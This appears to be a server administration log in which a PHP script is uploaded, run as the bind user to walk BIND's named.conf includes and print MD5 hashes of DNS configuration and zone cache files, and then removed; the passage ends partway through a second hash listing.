MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:23:28: Establishing a connection
2026-01-03 18:23:29: 

PUT: /tmp/pkp718592

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:23:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp718592; rm /tmp/pkp718592'

2026-01-03 18:23:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:41:30: Establishing a connection
2026-01-03 18:41:39: Establishing a connection
2026-01-03 18:41:39: 

PUT: /tmp/pkp437878

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:41:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp437878; rm /tmp/pkp437878'

2026-01-03 18:41:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
